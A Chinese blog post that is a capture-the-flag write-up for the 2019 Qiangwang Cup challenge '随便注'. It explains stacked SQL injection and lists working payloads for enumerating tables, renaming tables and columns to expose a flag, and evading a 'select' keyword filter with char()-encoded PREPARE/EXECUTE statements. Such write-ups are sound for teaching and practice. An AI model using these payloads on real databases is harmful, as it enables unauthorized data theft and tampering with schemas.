[强网杯 2019]随便注1

最新推荐文章于 2022-07-01 16:15:10 发布

4pri1

最新推荐文章于 2022-07-01 16:15:10 发布

阅读量165

点赞数

分类专栏： ctfWP 文章标签： unctf 安全 sql 数据库

本文链接：https://blog.csdn.net/qq_20533167/article/details/113686667

版权

ctfWP 专栏收录该内容

36 篇文章 0 订阅

订阅专栏

[强网杯 2019]随便注1

打开后的样子
法一：重命名+堆叠注入：可以执行任意sql语句
1. 堆叠注入原理：在sql中，分号表示一条语句的结束。如果在分号的后面再加一条语句，这条语句也可以被执行，继续加一个分号和一条语句，这样就可以在一次数据库的调用中执行多个语句。
2. 但是堆叠注入大多时候不可用
3. 利用 or 1=1–+列举所以数据**?inject=1’or 1=1;–+**
4. 查看一下表**?inject=1’;show tables;–+**
1. 有两个表，分别查看一下
  1. ?inject=1’;show columns from `1919810931114514`;–+
  2. ?inject=1’;show columns from `words`;–+
```
3.  ?inject=1';select \* from \`1919810931114514\`;--+被过滤了。
```

在这里插入图片描述

alert和rename没过滤，所以可以把表列改名

    /?inject=1'; **RENAME** TABLE \`words\` TO \`words1\`; **RENAME** TABLE
    \`1919810931114514\` TO \`words\`; **ALTER** TABLE \`words\` CHANGE
    \`flag\` \`id\` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci
    NOT NULL; **show** columns from words;%23

 ?inject=1' or '1'='1?inject=1' or '1'='1

在这里插入图片描述

法二：预处理语句+堆叠注入：

在这里插入图片描述

char(115,101,108,101,99,116)<----->'select’

PREPARE name from ‘[my sql sequece]’; //预定义SQL语句 EXECUTE name;
//执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL
语句
1. payload1： 1’;PREPARE hacker from concat(char(115,101,108,101,99,116),
  ’ * from `1919810931114514` ');EXECUTE hacker;#
2. payload2： 1’;SET @sqli=concat(char(115,101,108,101,99,116),’* from
  `1919810931114514`’);PREPARE hacker from @sqli;EXECUTE hacker;#
  【使用变量】
3. payload3： 1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from
  `1919810931114514` ');EXECUTE hacker;#
  【只是用contact(),不使用char()】
引用参考：